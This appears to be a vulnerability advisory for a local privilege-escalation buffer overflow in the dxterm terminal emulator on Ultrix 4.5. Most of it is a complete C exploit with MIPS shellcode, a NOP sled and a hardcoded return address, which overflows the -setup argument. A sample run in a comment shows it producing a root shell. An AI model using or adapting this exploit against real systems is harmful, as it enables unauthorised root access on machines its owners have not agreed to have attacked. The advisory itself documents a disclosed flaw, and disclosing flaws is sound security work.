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Ultrix dxterm -setup Buffer Overflow
------------------------------------------------------------------------
SUMMARY
dxterm is a "DECwindows terminal emulator". A vulnerability in the way
dxterm handles long -setup commands allows a local attacker to gain
elevated privileges by overflowing an internal buffer in the program.
DETAILS
Vulnerable Systems:
* Ultrix version 4.5
Exploit:
/* Ultrix 4.5/MIPS dxterm exploit
by ztion in 2004
Greets to: Stok, sidez
It wasn't possible to use '/' in the shellcode. Probably dxterm only
copies everything after the last slash, as it expects a path.
Since everything is pretty much hardcoded, you will probably have to
tweak it for versions other than 4.5
nora> ./ultrix_dxterm_4.5_exploit
$ id
uid=268(ztion) gid=15(users)euid=0(root)
*/
#include <stdio.h>
#define NOP 0x25f8e003
#define RET 0x7fffbe90
char shellcode[] = {
0x69,0x6e,0x19,0x3c, /* lui $t9, 0x6e69 */
0x2e,0x61,0x39,0x37, /* ori $t9, $t9, 0x612e */
0x38,0x01,0xb6,0x23, /* addi $s6, $sp, 312 */
0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */
0xf0,0xfe,0xd9,0xae, /* sw $t9, -272($s6) */
0x73,0x68,0x19,0x3c, /* lui $t9, 0x6873 */
0x11,0x11,0x06,0x24, /* li $a2, 0x1111 */
0x11,0x11,0xc6,0x38, /* xori $a2, $a2, 0x1111 */
0x2e,0x2e,0x39,0x37, /* ori $t9, $t9, 0x2e2e */
0xf0,0xfe,0xc4,0x26, /* addiu $a0, $s6, -272 */
0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */
0x3f,0x01,0x02,0x24, /* li $v0, 319 */
0xfc,0xfe,0x42,0x20, /* addi $v0, $v0, -260 */
0xf4,0xfe,0xd9,0xae, /* sw $t9, -268($s6) */
0xe8,0xfe,0xc4,0xae, /* sw $a0, -280($s6) */
0xf8,0xfe,0xc6,0xae, /* sw $a2, -264($s6) */
0xec,0xfe,0xc6,0xae, /* sw $a2, -276($s6) */
0xe8,0xfe,0xc5,0x26, /* addiu $a1, $s6, -280 */
0xcc,0xff,0xff,0x01 /* syscall */
};
int main(void)
{
char buf[256];
int i;
memset (buf, 2, 255);
i = 0;
while (i <= 8) {
((int *)(buf+1))[i] = NOP;
i++;
}
memcpy (buf+33, shellcode, sizeof(shellcode));
((int *)(buf+3))[29] = RET;
/* 119 - 122 is the return address */
buf[123] = '\0';
execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0",
"-setup", buf, NULL);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:ztion@swipnet.se> Kristoffer
Branemyr.
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